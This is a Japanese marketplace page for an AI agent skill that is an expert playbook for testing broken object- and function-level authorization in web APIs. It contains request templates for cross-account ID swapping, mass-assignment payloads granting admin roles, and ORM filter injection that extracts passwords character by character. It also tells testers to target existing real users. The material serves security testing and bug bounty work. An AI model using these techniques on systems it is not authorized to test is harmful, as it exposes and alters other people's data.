mcpField
I
idor-broken-object-authorization

idor-broken-object-authorization

github.com/yaklangセキュリティ2.6k3.8k 回インストール6 週間前に更新
リポジトリ

idor-broken-object-authorization について

IDORやオブジェクトレベル認可の欠陥を許可された範囲で検証するAPIテストスキルです。複数アカウント、リクエスト内のID、HTTPメソッド、間接参照を調べ、オブジェクト単位と機能単位の問題を区別します。

主な機能

  1. 012アカウントでの検証方法
  2. 02リクエスト内の各箇所にあるIDの確認
  3. 03HTTPメソッド別の認可テスト
  4. 04間接参照とサブリソースの検査
  5. 05BOLAとBFLAの区別
  6. 06一括操作と隠しフィールドの確認

活用シーン

  1. 01アカウント間のデータ閲覧・変更の検証
  2. 02管理用エンドポイントの機能レベル認可確認
  3. 03添付ファイルなど関連リソースのアクセス制御テスト
  4. 04APIの状態遷移と一括操作の評価

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill idor-broken-object-authorization

インストール後、Claude Code で/idor-broken-object-authorizationを入力して読み込まれたか確認します。

詳細

スキル:IDOR/オブジェクトレベルの認可不備 — エキスパート向け攻撃プレイブック

AI LOAD INSTRUCTION:IDOR はバグバウンティで最も多く見つかる脆弱性です。このスキルでは、見落とされやすい IDOR の攻撃対象、あらゆる攻撃ベクトル(URL パラメーターだけではありません)、A-B テストの手法、BOLA と BFLA の違い、IDOR を連鎖させて影響を拡大する方法、テスターが繰り返し見落とす点を解説します。


1. IDOR、BOLA、BFLA の違い

用語意味影響
IDOR安全でない直接オブジェクト参照他のユーザーのデータの読み取り/変更
BOLAオブジェクトレベルの認可不備(OWASP API Top 10 A1)IDOR と同じ意味で使われる API 用語
BFLA機能レベルの認可不備低権限ユーザーが高権限の機能(管理者エンドポイントなど)にアクセスすること

重要な違い:

  • BOLA = 所有する権限のないオブジェクト(他のユーザーに属するデータ)へのアクセス
  • BFLA = 権限のない機能(管理者向け CRUD 操作、一括操作、ユーザー管理)へのアクセス

2. オブジェクト ID の場所(すべての場所)

URL のパスパラメーターだけでなく、ID は次の場所にも現れます。

URL path:        GET /api/v1/users/1234/profile
URL query:       GET /orders?order_id=982
Request body:    {"userId": 1234, "action": "view"}
JSON fields:     {"resource": {"id": 5678, "type": "invoice"}}
Headers:         X-User-ID: 1234
                 X-Account-ID: 9999
Cookies:         user_id=1234; account=org_5678
GraphQL args:    query { user(id: "1234") { ... } }
Form fields:     <input name="documentId" value="5678">
WebSocket msgs:  {"event":"subscribe","channel_id":9999}

3. A-B テストの手法

最も体系的な IDOR テストのアプローチ:

Step 1: Create two test accounts: UserA and UserB
Step 2: Perform all actions as UserA, capture all requests
        (profile edit, order view, password change, file access, etc.)
Step 3: Note every object ID created or accessed by UserA
Step 4: Authenticate as UserB
Step 5: Replay UserA's requests using UserB's session token
Step 6: If UserB can read/modify UserA's data → BOLA confirmed

Victim matters: for real bugs, target existing users, not test accounts.
Report evidence: show UserA owns the resource, UserB accessed it.

4. ID の種類とその影響

ID のパターン例備考
連番の整数id=1001 → id=1002予測が容易で、ヒット率が高い
UUID v4550e8400-...他のエンドポイントから UUID を見つける必要があります
UUID v1時刻ベースの UUID時刻から予測可能です!タイムスタンプ/MAC を抽出します
自分のデータに含まれる GUIDレスポンスで確認まず自分のアカウントデータからすべての UUID を収集します
ハッシュ化された IDmd5(user_id)連番の整数をハッシュ化して試します
エンコードされた IDbase64({"id":1001})デコード → 変更 → 再エンコード
複合 ID/api/users/1/orders/5どちらの ID も個別に検証される可能性があります

5. 水平/垂直権限昇格

水平:UserA が UserB のデータにアクセスする(同じ権限レベル)

GET /api/account/1234/statement     ← you are user 5678

垂直:低権限ユーザーが管理者専用の機能にアクセスする

POST /api/admin/users/delete        ← normal user calling admin endpoint
GET /api/admin/all-users
PUT /api/users/1234/role {"role":"admin"}

複合:権限昇格につながる低権限 IDOR

GET /api/v1/users/1/details → read admin user's auth token

6. HTTP メソッドによる権限昇格

GET /resource/1234 が適切に制限されている場合は、他のすべてのメソッドもテストします。

GET    /api/v1/users/UserA_ID    ← might be blocked
POST   /api/v1/users/UserA_ID    ← different code path, might not check authz
PUT    /api/v1/users/UserA_ID    ← update another user's data
DELETE /api/v1/users/UserA_ID    ← delete another user's account
PATCH  /api/v1/users/UserA_ID    ← partial update (often missed in authz checks)

有効な理由:認可ロジックはメソッドごとに実装されていることが多く、開発者が例外ケースを見落とすためです。


7. パラメーター汚染と型の混同

id=1234 が検証されている場合は、次を試します。

id[]=1234&id[]=5678          ← array — app may use first or last
id=5678&id=1234              ← duplicate — app may prefer first or last
{"id": "1234"}               ← string vs int: might hit different code path
{"id": [1234]}               ← array in JSON
{"userId": 1234, "id": 5678} ← two ID fields — which is used for authz?

JSON の型の混同:

{"userId": "1234"}   vs   {"userId": 1234}

ORM によっては、クエリで文字列と整数の処理が異なる場合があります。


8. BFLA(機能レベル)攻撃

テストする一般的な BFLA エンドポイント
# User management (admin-only in design):
GET /api/v1/admin/users
DELETE /api/v1/users/{any_user_id}
PUT /api/v1/users/{user_id}/role

# Bulk operations:
POST /api/v1/users/bulk-delete
GET /api/v1/export/all-data

# Billing/payment admin:
POST /api/v1/admin/subscription/modify
GET /api/v1/admin/payments/all

# Internal reporting:
GET /api/v1/reports/all-users-activity
隠れた管理者エンドポイントの見つけ方
  1. JS バンドルを確認します。管理者ルートがフロントエンドのコードで公開されていることがよくあります
  2. API ドキュメント(Swagger/OpenAPI)で「admin」、「internal」、「privileged」タグを確認します
  3. /api/v1/admin/**、/api/v1/manage/**、/api/v1/internal/** を列挙します
  4. API のベースパスに対して Burp の「Discover Content」を実行します
  5. 利用できる場合は、一般ユーザー向けドキュメントと管理者向けセクションのドキュメントを比較します

9. 間接的な IDOR(参照チェーン)

アプリがオブジェクト Aの権限を確認しても、参照先のオブジェクト Bの所有権は確認しない場合があります。

例:

UserA has permission to read their own messages.
GET /api/messages/1234 → checks: "does user own message 1234?" ✓

But: messages have attachments.
GET /api/attachments/5678 → doesn't check: "does attachment belong to message owned by user?"

テスト:親エンドポイントを経由せず、添付ファイル/サブリソースの ID を使って直接アクセスできるか確認します。

GraphQL のバリエーション:別途認可せずに、関連オブジェクトをインラインでクエリする場合:

query {
  myProfile {
    followers {
      privateEmail    ← accessing private field of OTHER users via relationship
    }
  }
}

10. 一括割り当て → 権限昇格

POST/PUT が JSON ボディを受け取る場合、公式 API ドキュメントに記載されていなくても、内部モデルのプロパティを設定できることがあります。

POST /api/v1/register
{
  "username": "attacker",
  "email": "[email protected]",
  "password": "password",
  "role": "admin",          ← hidden field
  "isAdmin": true,          ← hidden field
  "verified": true,         ← skip email verification
  "creditBalance": 9999     ← give self credits
}

隠れたフィールドの見つけ方:

  1. 管理者向けの「ユーザー作成」と通常の「登録」を傍受し、フィールドを比較します
  2. すべての可能なフィールドについて API ドキュメントを確認します
  3. 利用できる場合は、ソースコード(GitHub、JS バンドル)を確認します
  4. Burp でファジングします。一般的なプロパティ名を追加し、200 と 400 のどちらが返るか確認します

11. 状態遷移の悪用(ビジネスロジック IDOR)

リソースにステータス/状態がある場合:

order.status: pending → confirmed → shipped → delivered

テスト:状態をスキップできますか?

PUT /api/orders/1234 {"status": "delivered"}  ← from "pending"
PUT /api/orders/1234 {"status": "refunded"}   ← from "pending" (skip shipped)

他のユーザーの注文ステータスを設定できますか?

PUT /api/orders/UserA_order_id {"status": "cancelled"}  ← as UserB

12. IDOR の簡易チェックリスト

□ Create 2 accounts (UserA + UserB)
□ Map all API calls that contain object IDs (Burp History export filter)
□ Test all HTTP verbs on each endpoint
□ Test ID in all locations: path, body, header, query, cookie
□ Try sequential IDs (−1, +1 from your own)
□ Try UUIDs/GUIDs collected from your own account data
□ Test sub-resources (attachments, comments, transactions)
□ Test admin endpoints directly (BFLA)
□ Test POST/PUT body for extra fields (mass assignment)
□ Compare JSON response field count vs documented fields (hidden fields)
□ Test state/status field modification

13. IDOR の体系的なテスト — 8 つのカテゴリ

#カテゴリテスト方法
1ID の直接参照URL 内の数値 ID/UUID を変更します:/api/users/123 → /api/users/124
2推測可能な UUIDUUID が v1(時刻ベース)の場合、隣接する ID を計算できます
3バッチ/一括操作/api/users/bulk?ids=123,456 — 他のユーザーの ID を追加します
4エクスポート/ダウンロードエクスポートエンドポイントから他のユーザーのデータが漏えいします:/export?user_id=*
5リンクされたオブジェクトの IDORorder.address_id を別のユーザーの住所に変更します
6リソースの置き換え自分のプロフィールを別のユーザーのリソース ID で更新すると、上書きされます
7書き込み IDOR他のユーザーの ID を指定して PUT/PATCH/DELETE を実行し、そのデータを変更/削除します
8ネストされたオブジェクト/api/orgs/1/users/2 — 組織 ID を変更して、他の組織のユーザーにアクセスします
テストの流れ
1. Create two test accounts (A and B)
2. Perform all CRUD operations as A, capture all request IDs
3. Replay each request replacing A's IDs with B's IDs
4. Check: Can A read B's data? Modify? Delete?
5. Test with: numeric IDs, UUIDs, slugs, encoded values
6. Test across: URL path, query params, JSON body, headers

14. ORM のフィルターチェーンによる漏えい

Django ORM のフィルターインジェクション
# Vulnerable: User.objects.filter(**request.data)
# Attacker sends: {"password__startswith": "a"}
# Django translates to: WHERE password LIKE 'a%'

# Character-by-character extraction:
POST /api/users/
{"username": "admin", "password__startswith": "a"}   → 200 (match)
{"username": "admin", "password__startswith": "b"}   → 404 (no match)
# Iterate through charset for each position

# Relational traversal:
{"author__user__password__startswith": "a"}
# Traverses: Author → User → password field

# On MySQL: ReDoS via regex
{"email__regex": "^(a+)+$"}  → CPU spike if match exists
Prisma のフィルターインジェクション
// Vulnerable: prisma.user.findMany({ where: req.body })
// Attacker sends nested include/select:
{
  "include": {
    "posts": {
      "include": {
        "author": {
          "select": {"password": true}
        }
      }
    }
  }
}
// Leaks password field through relation traversal
Ransack(Ruby on Rails)
# Ransack allows search predicates via query params:
GET /users?q[password_cont]=admin
# Searches: WHERE password LIKE '%admin%'

# Character extraction:
GET /users?q[password_start]=a   → count results
GET /users?q[password_start]=ab  → narrow down
# Tool: plormber (automated Ransack extraction)

コメント